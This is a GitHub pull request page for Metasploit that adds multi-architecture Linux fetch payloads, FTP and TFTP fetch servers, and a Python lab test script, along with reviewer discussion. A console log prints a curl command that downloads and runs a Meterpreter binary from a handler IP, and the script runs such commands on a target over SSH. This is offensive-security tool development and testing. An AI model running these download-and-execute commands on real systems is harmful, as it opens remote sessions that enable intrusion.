Skip to content

Fetch Multi Part 2: The Fetchening#21384

Open
bwatters-r7 wants to merge 18 commits into
rapid7:masterfrom
bwatters-r7:feature/fetch-multi-3
Open

Fetch Multi Part 2: The Fetchening#21384
bwatters-r7 wants to merge 18 commits into
rapid7:masterfrom
bwatters-r7:feature/fetch-multi-3

Conversation

@bwatters-r7

@bwatters-r7 bwatters-r7 commented Apr 27, 2026

Copy link
Copy Markdown
Contributor

What does this change?

  1. Adds Linux fetch multi payloads, an http-based payload that sends a query string along with the HTTP request for the payload identifying the target's architecture to the handler. The handler then serves the payload corresponding to the target arch.
    a. Added the new payload and handler for fetch multi
    b. Updated the fetch.rb code to handle delayed payload generation.
    c. Updated the HTTP[S] fetch servers to look for query strings during the callback.
  2. Adds a fetch server for FTP-based fetch payloads. Previously, we had the logic to generate the command payloads, but we never added a server to serve them or the config files to expose them.
  3. This fixes a regression in SMB fetch payloads where about 3 months ago, we incorrectly removed the FETCH_FILENAME option when we actually needed it. We should re-evaluate the option names for the SMB fetch because it uses FETCH_URI and FETCH_FILENAME completely differently than every other fetch payload, but I think this PR has already grown enough.
  4. Adds a TFTP server to rex/proto like all our other servers. We already have a TFTP server in exploit/remote, but almost all our servers now live in rex/proto. The new server also matches the method calls and behaviors of the other severs in rex/proto so using the TFTP server is now the same as other network servers.
  5. This PR breaks apart the fetch.rb file that was getting too chonky and adds a fetch/pipe.rb library
  6. Adds a fix in the GET fetch command generation where we were previously performing a double redirect when it was combined with FETCH_FILELESS, effectively fetching the payload and wrting it to /dev/null
  7. Adds a lot of specs for the spec gods.
    Closes Add Fetch Linux Multi arch Meterpreter #21389
Example
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] generate_fetch:150
[*] 152
[*] 154
[*] 164
[*] generate_fetch_commands
[*] 175
[*] Command to execute on target: curl -so ./MvnXpRmBOvmZ http://10.5.135.201:8080/TUvgVhj-5qUlmIMMOHXB0g?arch=$(uname -m);chmod +x ./MvnXpRmBOvmZ;./MvnXpRmBOvmZ&
[*] Payload Handler Started as Job 0
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >
[*] setup_handler:23
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] setup_handler:26
[*] Adding resource /TUvgVhj-5qUlmIMMOHXB0g
[*] setup_handler:30
[*] Started reverse TCP handler on 10.5.135.201:4567
[*] on_request_uri:66
[*] {:arch=>"_any_", :dynamic_arch=>true}
[*] Client 10.5.134.119 requested /TUvgVhj-5qUlmIMMOHXB0g?arch=x86_64
[*] on_request_uri:74
[*] Sending payload to 10.5.134.119 (curl/8.5.0)
[*] on_request_uri:76
[*] on_request_uri:78
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] GET /TUvgVhj-5qUlmIMMOHXB0g?arch=x86_64 HTTP/1.1
Host: 10.5.135.201:8080
User-Agent: curl/8.5.0
Accept: */*


[*] x86_64
[*] Searching for x86_64
[*] Building payload for x64 arch
[*] 2
[*] generate:31
[*] generate:33
[*] Meterpreter session 1 opened (10.5.135.201:4567 -> 10.5.134.119:49592) at 2026-04-27 16:32:34 -0500
[*] on_request_uri:66
[*] {:arch=>"x64", :dynamic_arch=>true}
[*] Client 10.5.132.212 requested /TUvgVhj-5qUlmIMMOHXB0g?arch=armv7l
[*] on_request_uri:74
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] on_request_uri:76
[*] on_request_uri:78
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] GET /TUvgVhj-5qUlmIMMOHXB0g?arch=armv7l HTTP/1.1
Host: 10.5.135.201:8080
User-Agent: curl/8.13.0-rc3
Accept: */*


[*] armv7l
[*] Searching for armv7l
[*] Building payload for armle arch
[*] 2
[*] generate:31
[*] generate:33
[*] Meterpreter session 2 opened (10.5.135.201:4567 -> 10.5.132.212:34124) at 2026-04-27 16:34:41 -0500
[*] on_request_uri:66
[*] {:arch=>"armle", :dynamic_arch=>true}
[*] Client 10.5.132.215 requested /TUvgVhj-5qUlmIMMOHXB0g?arch=aarch64
[*] on_request_uri:74
[*] Sending payload to 10.5.132.215 (curl/8.11.0)
[*] on_request_uri:76
[*] on_request_uri:78
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] GET /TUvgVhj-5qUlmIMMOHXB0g?arch=aarch64 HTTP/1.1
Host: 10.5.135.201:8080
User-Agent: curl/8.11.0
Accept: */*


[*] aarch64
[*] Searching for aarch64
[*] Building payload for aarch64 arch
[*] 2
[*] generate:31
[*] generate:33
[*] Meterpreter session 3 opened (10.5.135.201:4567 -> 10.5.132.215:44022) at 2026-04-27 16:35:37 -0500

end
end

def to_meterp_arch(os_arch)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we should block this on rapid7/rex-arch#13

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should be fixed, now.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a Linux multi-architecture “fetch” workflow intended to serve the correct Linux Meterpreter/Mettle binary based on the calling host’s architecture (via HTTP query strings), alongside broader refactors to fetch payload serving to support multiple served resources and new FTP delivery support.

Changes:

  • Introduces a new Linux ARCH_ANY Meterpreter (stageless mettle) payload and supporting Linux multi-arch transform logic.
  • Refactors fetch adapter/server plumbing to serve multiple resources per handler and adds dynamic-arch HTTP handling via ?arch=....
  • Adds an in-memory anonymous FTP server plus many new FTP fetch adapter modules (Linux + Windows), and improves TFTP server resource cleanup.

Impact Analysis:

  • Blast radius: high — shared fetch adapter logic (lib/msf/core/payload/adapter/fetch.rb) and HTTP/TFTP/SMB handler mixins affect many fetch payloads and handler startup/cleanup paths; new FTP server introduces a new service type under Rex::Proto.
  • Data and contract effects: medium — changes handler request expectations (dynamic-arch requires query string), modifies how resources are tracked/served (@srv_resources), and introduces new options/behaviors that can change runtime payload generation and UUID/arch selection.
  • Rollback and test focus: rollback is code-only but touches core mixins; focus testing on (1) existing fetch payloads (HTTP/HTTPS/TFTP/SMB) still serving correctly, (2) multi-arch HTTP path with and without arch query param, and (3) concurrent/multiple client fetches for differing architectures.

Reviewed changes

Copilot reviewed 33 out of 33 changed files in this pull request and generated 6 comments.

Show a summary per file
File Description
spec/modules/payloads_spec.rb Adds spec coverage hooks for new cmd/linux/http/multi adapter and linux/multi payload caching behavior.
modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb New ARCH_ANY Linux stageless Meterpreter/Mettle payload using the new multi-arch logic.
modules/payloads/adapters/cmd/windows/ftp/x86.rb New Windows x86 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/windows/ftp/x64.rb New Windows x64 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/http/multi.rb New Linux HTTP “multi” fetch adapter (ARCH_ANY) intended for dynamic arch selection.
modules/payloads/adapters/cmd/linux/ftp/x86.rb New Linux x86 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/x64.rb New Linux x64 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/riscv64le.rb New Linux RISC-V 64-bit LE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/riscv32le.rb New Linux RISC-V 32-bit LE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/ppc64.rb New Linux PPC64 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/ppc.rb New Linux PPC FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/mipsle.rb New Linux MIPSLE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/mipsbe.rb New Linux MIPSBE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/mips64.rb New Linux MIPS64 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/armle.rb New Linux ARMLE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/armbe.rb New Linux ARMBE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/aarch64.rb New Linux AARCH64 FTP fetch adapter wrapper.
lib/rex/proto/tftp/server.rb Adds aliasing helpers and file deregistration support for TFTP service cleanup.
lib/rex/proto/ftp/server.rb Adds a new lightweight in-memory anonymous FTP server implementation.
lib/msf/core/payload/linux/multi_arch.rb Adds Linux multi-arch mapping helpers and REQUESTED_ARCH option for payload generation/UUID arch selection.
lib/msf/core/payload/adapter/fetch/tftp.rb Refactors TFTP fetch handler setup to support multiple resources.
lib/msf/core/payload/adapter/fetch/smb.rb Updates SMB fetch handler setup to pull served data from the new resource list.
lib/msf/core/payload/adapter/fetch/server/tftp.rb Refactors TFTP server startup via Rex::ServiceManager and supports multiple resources + cleanup.
lib/msf/core/payload/adapter/fetch/server/http.rb Adds dynamic-arch request handling (?arch=) and refactors HTTP serving to use resource entries.
lib/msf/core/payload/adapter/fetch/server/ftp.rb New FTP fetch server mixin using the new in-memory FTP server.
lib/msf/core/payload/adapter/fetch/pipe.rb New shared helper for pipe-enabled fetch payload command generation.
lib/msf/core/payload/adapter/fetch/multi.rb New shared helper for multi-arch fetch behaviors (including OS-arch to meterpreter-arch mapping).
lib/msf/core/payload/adapter/fetch/https.rb Refactors HTTPS fetch handler setup to serve from the new resource list.
lib/msf/core/payload/adapter/fetch/http.rb Refactors HTTP fetch handler setup to serve from the new resource list.
lib/msf/core/payload/adapter/fetch/ftp.rb New FTP fetch transport mixin wiring handler lifecycle to the FTP server mixin.
lib/msf/core/payload/adapter/fetch.rb Core refactor: resource list (@srv_resources), dynamic-arch placeholder serving, and updated command generation plumbing.
lib/msf/base/sessions/meterpreter_multi_linux.rb Adds a Linux platform-specific, arch-agnostic Meterpreter session class.
lib/msf_autoload.rb Updates Zeitwerk inflections/camelization to support rex/proto/ftp module naming.

Comment thread lib/msf/core/payload/linux/multi_arch.rb Outdated
Comment thread lib/msf/core/payload/adapter/fetch/server/http.rb Outdated
Comment thread lib/msf/core/payload/adapter/fetch/server/http.rb Outdated
Comment thread lib/msf/core/payload/adapter/fetch.rb Outdated
Comment thread lib/msf/core/payload/adapter/fetch.rb
Comment thread modules/payloads/adapters/cmd/linux/http/multi.rb
@bwatters-r7 bwatters-r7 force-pushed the feature/fetch-multi-3 branch from 3176e9e to fff52bf Compare May 13, 2026 22:16
Comment thread lib/msf/core/payload/linux/multi_arch.rb
@bwatters-r7 bwatters-r7 force-pushed the feature/fetch-multi-3 branch from 4797295 to ecc5f41 Compare June 2, 2026 20:45

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 39 out of 39 changed files in this pull request and generated 7 comments.

Comment thread lib/msf/core/payload/linux/multi_arch.rb
Comment thread lib/msf/core/payload/linux/multi_arch.rb
Comment thread lib/msf/core/payload/adapter/fetch/server/http.rb Outdated
Comment thread modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb
Comment on lines 109 to 124
def generate(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
opts[:code] = super
@srvexe = generate_payload_exe(opts)
if datastore['FETCH_PIPE']
unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
if opts[:dynamic_arch].nil?
opts[:arch] ||= module_info['AdaptedArch']
if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux'
multi_supported_fileless = ['none', 'python3.8+']
multi_supported_cmd = ['WGET', 'CURL']
fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_FILELESS is not supported on multi arch Meterpreter.') unless multi_supported_fileless.include?(datastore['FETCH_FILELESS'])
fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_COMMAND is not supported on multi arch Meterpreter.') unless multi_supported_cmd.include?(datastore['FETCH_COMMAND'])
opts[:dynamic_arch] = true
# placeholder — binary is generated on demand at request time once arch is known
add_srv_entry(srvuri, 'x', opts)
else
opts[:dynamic_arch] = false
opts[:code] = super(opts)
add_srv_entry(srvuri, generate_payload_exe(opts), opts)
end
Comment thread lib/msf/core/payload/adapter/fetch/http.rb Outdated
Comment thread spec/modules/payloads_spec.rb Outdated
@@ -0,0 +1,291 @@
# -*- coding: binary -*-

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have an FTP server in lib/msf/core/exploit/remote, so I'm on the fence on this. The server should be here, but I could rejigger the server to use the one there? I think we should probably have an unified server location, but I had mixed feelings shifting it around on this PR?

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sounds to me like a little bit separate issue from fetch payloads itself (?) so maybe separate PR would make more sense?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I can remove it from this, but that means removing all the FTP payloads, specs, and logic to allow the FTP command to be used.

Comment thread lib/msf/core/payload/adapter/fetch/server/ftp.rb Outdated

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 39 out of 39 changed files in this pull request and generated 8 comments.

Comment thread lib/msf/core/payload/adapter/fetch.rb Outdated
Comment on lines 396 to 401
when 'HTTPS'
# There is no way to disable cert check in GET ...
print_error('GET binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}"
get_file_cmd = "GET -m GET https://#{download_uri(uri)} | tee #{_remote_destination}"
when 'FTP'
Comment on lines +24 to +28
begin
if fetch_service.resources.include?(uri)
# When we clean up, we need to leave resources alone, because we never added one.
fail_with(Msf::Exploit::Failure::BadConfig, 'Resource collision detected. Set FETCH_URIPATH to a different value to continue.')
end
Comment thread lib/msf/core/payload/adapter/fetch/server/http.rb
Comment thread lib/msf/core/payload/adapter/fetch/server/http.rb Outdated
Comment thread lib/rex/proto/ftp/server.rb
Comment thread lib/msf/core/payload/adapter/fetch/http.rb
Comment thread lib/msf/core/payload/adapter/fetch/https.rb
if opts[:dynamic_arch]
vprint_status("Dynamic Payload Detected, expecting a Query String in the request...")
query_string = request.uri_parts['QueryString'] || {}
arch_param = query_string['arch']

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

not a blocker; do we want to obuscate this as a second pass, potentially similars to meterpreter's upcoming profile support, or its existing fingerprinting logic that it uses for its GET requests

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to generate random parameter name and then just fetch the first parameter from request, whatever its name is?

Comment thread lib/msf/core/payload/adapter/fetch/server/http.rb
Comment thread lib/msf/core/payload/adapter/fetch/pipe.rb
fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_COMMAND is not supported on multi arch Meterpreter.') unless multi_supported_cmd.include?(datastore['FETCH_COMMAND'])
opts[:dynamic_arch] = true
# placeholder — binary is generated on demand at request time once arch is known
add_srv_entry(srvuri, 'x', opts)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

not a blocker; we might want to circle back to a cleaner pattern here with the state tracking and placeholder values 👀

def generate_fetch_commands
# TODO: Make a check method that determines if we support a platform/server/command combination
#
def generate_fetch_commands(uri: srvuri, dynamic_arch: false)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might want to cross-check with a dictionary on a better name here 😄

unknown_arch ? deferred_arch ? something else?


def mettle_arch_transform(arch)
case arch
when ARCH_AARCH64, 'ARCH_AARCH64'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

>> Rex::Arch::ARCH_AARCH64
=> "aarch64"

Comment thread lib/rex/proto/ftp/server.rb Outdated
until shutting_down
begin
client = listener.accept
Rex::ThreadFactory.spawn('FTPServerClientHandler', false) do

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
Rex::ThreadFactory.spawn('FTPServerClientHandler', false) do
Rex::ThreadFactory.spawn("FTPServerClientHandler-#{sel.listen_host}-#{sel.listen_port}", false) do

Comment thread lib/rex/proto/ftp/server.rb Outdated
Comment thread lib/rex/proto/ftp/server.rb Outdated
Comment thread modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb Outdated
Comment thread modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb Outdated
end
end

def handle_client(client)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might just need an extra security eyeball 👀

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 40 out of 40 changed files in this pull request and generated 6 comments.

end
end

fetch_service = nil

@bwatters-r7 bwatters-r7 Jun 12, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe this is the requested change of behavior with servers according to @adfoster-r7?

fetch_service.deregister_file(uri)
end
@myresources = []
fetch_service = nil

@bwatters-r7 bwatters-r7 Jun 12, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe this is the requested change of behavior with servers according to @adfoster-r7?

fetch_service.deregister_file(uri)
end
@myresources = []
fetch_service = nil

@bwatters-r7 bwatters-r7 Jun 12, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe this is the requested change of behavior with servers according to @adfoster-r7?

def cleanup_smb_fetch_service(fetch_service)
fetch_service.remove_share(@fetch_virtual_disk)
fetch_service.deref
fetch_service = nil

@bwatters-r7 bwatters-r7 Jun 12, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe this is the requested change of behavior with servers according to @adfoster-r7?

Comment on lines 394 to +398
case fetch_protocol
when 'HTTP'
get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}"
get_file_cmd = "GET -m GET http://#{download_uri(uri)} | tee #{_remote_destination}"
when 'HTTPS'
# There is no way to disable cert check in GET ...
print_error('GET binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}"
unless datastore['FETCH_CHECK_CERT']

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The use of tee here is to fix a bug where we used double redirects in the case of FETCH_FILELESS. Maybe we need to change this behavior to insert the tee when fetch fileless is not none?

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What kind of bug do you mean? IIRC, in case of FETCH_FILELESS, the get_file_cmd is usually called in subshell ( $(...)), so the redirection takes place in separate shell. I might be wrong though.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Huh; you're right. Not sure why this was failing before, but it works with the redirect. I replaced the redirect. 🤷

Comment thread lib/msf/core/payload/adapter/fetch/pipe.rb
@bwatters-r7 bwatters-r7 marked this pull request as ready for review June 11, 2026 22:14
@bwatters-r7

Copy link
Copy Markdown
Contributor Author

For anyone looking to test this, I have some vibe-coded, AI-slop testing scripts:

Linux FTP
#!/usr/bin/env python3
"""
Test MSF Linux fetch payload FTP protocol × FETCH_COMMAND × FETCH_FILELESS.
Covers fetch commands: FTP, TNFTP.
"""

import argparse
import concurrent.futures
import getpass
import os
import paramiko
import re
import subprocess
import sys
import tempfile
import threading
import time

_log_lock = threading.Lock()
_log_fh   = None
_ssh_sem  = threading.Semaphore(8)

LHOST       = None
TARGET_HOST = None
TARGET_USER = None
TARGET_PASS = None
MSF_PATH    = None

FILELESS_VALUES = ['none', 'shell', 'python3.8+']
ANSI = re.compile(r'\x1b\[[0-9;]*m')

_LPORT_START = 4451
_SRV_START   = 4501

PROTOCOL = {
    'name': 'FTP',
    'os': 'linux',
    'arch': 'x64',
    'payload': 'payload/cmd/linux/ftp/x64/meterpreter_reverse_tcp',
    'fetch_commands': ['FTP', 'TNFTP'],
    'fetch_srvport_start': _SRV_START,
    'proto_opts': ['set FETCH_SRVONCE false'],
}


def log(msg):
    with _log_lock:
        if _log_fh:
            _log_fh.write(msg + '\n')
            _log_fh.flush()


def _safe(s):
    return s.replace('.', '_').replace('+', 'p').replace('-', '_')


def build_tests():
    tests = []
    lport = _LPORT_START
    srvport = PROTOCOL['fetch_srvport_start']
    for fetch_cmd in PROTOCOL['fetch_commands']:
        for fileless in FILELESS_VALUES:
            uri = f"ftp_{fetch_cmd.lower()}_{_safe(fileless)}_pf"
            per_test_opts = [
                f"set FETCH_COMMAND {fetch_cmd}",
                f"set FETCH_FILELESS {fileless}",
                "set FETCH_PIPE false",
            ]
            if fileless == 'none':
                per_test_opts.append(f"set FETCH_FILENAME {uri}")
            else:
                per_test_opts.append("set FETCH_FILENAME ''")
            extra_opts = [f"set FETCH_FILELESS {fileless}"]
            extra_opts.extend(PROTOCOL['proto_opts'])
            extra_opts.append("set FETCH_PIPE false")
            if fileless == 'none':
                extra_opts.append(f"set FETCH_FILENAME {uri}")
            tests.append({
                'name':          f"FTP/{fetch_cmd}/{fileless}/pipe=false",
                'fetch_command': fetch_cmd,
                'fileless':      fileless,
                'pipe':          False,
                'payload':       PROTOCOL['payload'],
                'fetch_srvport': srvport,
                'lport':         lport,
                'fetch_uripath': uri,
                'extra_opts':    extra_opts,
                'per_test_opts': per_test_opts,
            })
            lport += 1
            srvport += 1
    return tests


TESTS = build_tests()


def _log_path():
    return '/tmp/msf_fetch_linux_ftp_x64.log'


def read_log(log_file):
    try:
        return ANSI.sub('', open(log_file).read())
    except FileNotFoundError:
        return ''


def write_proto_rc(tests):
    lines = [
        f"use {PROTOCOL['payload']}",
        f"set lhost {LHOST}",
        "set verbose true",
    ]
    for opt in PROTOCOL['proto_opts']:
        lines.append(opt)
    for t in tests:
        lines.append("")
        lines.append(f"set fetch_srvport {t['fetch_srvport']}")
        lines.append(f"set lport {t['lport']}")
        lines.append(f"set fetch_uripath {t['fetch_uripath']}")
        for opt in t['per_test_opts']:
            lines.append(opt)
        lines.append("to_handler")
    lines += ["", "sleep 240", "sessions -l", "sessions -C 'load stdapi'", "sleep 90", "sessions -C sysinfo", "sleep 60", "sessions -C sysinfo"]
    rc = tempfile.NamedTemporaryFile(
        mode='w', suffix='.rc', delete=False, prefix='msf_linux_ftp_x64_'
    )
    rc.write('\n'.join(lines) + '\n')
    rc.close()
    return rc.name


def run_msf(rc_file, log_file):
    return subprocess.Popen(
        ['bundle', 'exec', 'msfconsole', '-q', '-r', rc_file],
        stdin=subprocess.DEVNULL,
        stdout=open(log_file, 'w'),
        stderr=subprocess.STDOUT,
        cwd=MSF_PATH,
    )


def wait_for_n_handlers(log_file, n, timeout=180):
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        if content.count('Started reverse TCP handler') >= n:
            return content
        if 'Exploit failed [bad-config]' in content or 'failed to bind' in content:
            return content
        time.sleep(2)
    return None


def parse_n_target_commands(log_content, n):
    matches = re.findall(r'Command to execute on target: (.+)', log_content)
    return [m.strip() for m in matches[:n]]


def ssh_run(command):
    with _ssh_sem:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(
            TARGET_HOST, username=TARGET_USER, password=TARGET_PASS,
            timeout=10, allow_agent=False, look_for_keys=False,
        )
        _, stdout, stderr = client.exec_command(command)
        stdout.channel.settimeout(5)
        try:
            out = stdout.read().decode().strip()
        except Exception:
            out = ''
        try:
            err = stderr.read().decode().strip()
        except Exception:
            err = ''
        client.close()
    return out, err


def wait_for_sessions(log_file, lports, timeout=300):
    wanted  = set(lports)
    found   = {}
    sysinfo = {}
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        for m in re.finditer(
            r'(Meterpreter session \d+ opened \(([^)]+)\) at .+)', content
        ):
            conn = m.group(2)
            lp_match = re.search(r':(\d+) ->', conn)
            if lp_match:
                lp = int(lp_match.group(1))
                if lp in wanted and lp not in found:
                    found[lp] = m.group(1)
        for m in re.finditer(
            r'meterpreter\s+\S+.*?(\d+\.\d+\.\d+\.\d+):(\d+) -> (\d+\.\d+\.\d+\.\d+):(\d+)',
            content
        ):
            lp = int(m.group(2))
            if lp in wanted and lp not in found:
                found[lp] = f"session via sessions-l ({m.group(1)}:{lp} -> {m.group(3)}:{m.group(4)})"
        sid_to_lport = {}
        for m in re.finditer(
            r'^\s+(\d+)\s+meterpreter.*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*->',
            content, re.MULTILINE
        ):
            sid = int(m.group(1))
            lp  = int(m.group(3))
            if lp in wanted:
                sid_to_lport[sid] = lp
        for m in re.finditer(
            r"Running 'sysinfo' on meterpreter session (\d+)[^\n]*\nComputer\s*:\s*(.+)",
            content
        ):
            sid = int(m.group(1))
            if sid in sid_to_lport:
                lp = sid_to_lport[sid]
                if lp not in sysinfo:
                    sysinfo[lp] = m.group(2).strip()
        if len(found) == len(wanted) and len(sysinfo) == len(wanted):
            break
        time.sleep(2)
    return found, sysinfo


def kill_lingering(port):
    result = subprocess.run(
        ['ss', '-tlnp', f'sport = :{port}'],
        capture_output=True, text=True,
    )
    for pid_match in re.finditer(r'pid=(\d+)', result.stdout):
        pid = int(pid_match.group(1))
        try:
            os.kill(pid, 9)
            log(f"  killed pid {pid} on port {port}")
        except ProcessLookupError:
            pass


def cleanup_target():
    log("[CLEANUP] Killing lingering test processes and removing stale binaries on target...")
    try:
        ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/ftp_)' && kill -9 $pid 2>/dev/null; "
            "done"
        )
        time.sleep(5)
        out, _ = ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/ftp_)' && kill -9 $pid 2>/dev/null; "
            "done; "
            "sleep 1; "
            "rm -f ./ftp_* 2>/dev/null; "
            "echo done"
        )
        log(f"[CLEANUP] {out or 'ok'}")
    except Exception as exc:
        log(f"[CLEANUP] Warning: {exc}")


def run_tests():
    tests = TESTS
    n = len(tests)
    log_file = _log_path()

    results = {t['lport']: {
        'test': t, 'passed': False, 'session': None,
        'sysinfo': None, 'target_cmd': None, 'error': None,
    } for t in tests}

    log(f"[FTP] Starting {n} tests")

    for t in tests:
        kill_lingering(t['lport'])
        kill_lingering(t['fetch_srvport'])

    rc_file = write_proto_rc(tests)
    proc = run_msf(rc_file, log_file)

    content = wait_for_n_handlers(log_file, n, timeout=180)
    if content is None:
        for t in tests:
            results[t['lport']]['error'] = 'Handlers did not all start within timeout'
        proc.terminate()
        return list(results.values())

    if 'Exploit failed' in content or 'failed to bind' in content:
        for t in tests:
            results[t['lport']]['error'] = 'Handler setup failed'
        proc.terminate()
        return list(results.values())

    cmds = parse_n_target_commands(content, n)
    if len(cmds) < n:
        for t in tests:
            results[t['lport']]['error'] = f"Only got {len(cmds)}/{n} target commands"
        proc.terminate()
        return list(results.values())

    for t, cmd in zip(tests, cmds):
        results[t['lport']]['target_cmd'] = cmd
        log(f"[CMD] {t['name']}: {cmd}")

    def _ssh(pair):
        t, cmd = pair
        try:
            ssh_run(cmd)
            return t, None
        except Exception as exc:
            return t, str(exc)

    with concurrent.futures.ThreadPoolExecutor(max_workers=n) as ex:
        for future in concurrent.futures.as_completed(
            ex.submit(_ssh, (t, results[t['lport']]['target_cmd'])) for t in tests
        ):
            t, err = future.result()
            if err:
                results[t['lport']]['error'] = f"SSH error: {err}"
                log(f"[SSH-ERR] {t['name']}: {err}")

    lports = [t['lport'] for t in tests]
    sessions, sysinfo = wait_for_sessions(log_file, lports, timeout=480)

    proc.terminate()
    try:
        proc.wait(timeout=10)
    except subprocess.TimeoutExpired:
        proc.kill()

    for t in tests:
        lp = t['lport']
        if lp in sessions and lp in sysinfo:
            results[lp]['passed'] = True
            results[lp]['session'] = sessions[lp]
            results[lp]['sysinfo'] = sysinfo[lp]
            print(f"[PASS] {t['name']}: {sessions[lp]}")
        elif lp in sessions:
            results[lp]['session'] = sessions[lp]
            results[lp]['error'] = 'Session opened but sysinfo failed'
            print(f"[FAIL] {t['name']}: Session opened but sysinfo failed")
        elif results[lp]['error'] is None:
            results[lp]['error'] = 'No Meterpreter session within timeout'
            print(f"[FAIL] {t['name']}: No session within timeout")

    return list(results.values())


def print_summary(results):
    print(f"\n{'='*60}")
    print("FTP (linux/x64) RESULTS SUMMARY")
    print(f"{'='*60}\n")

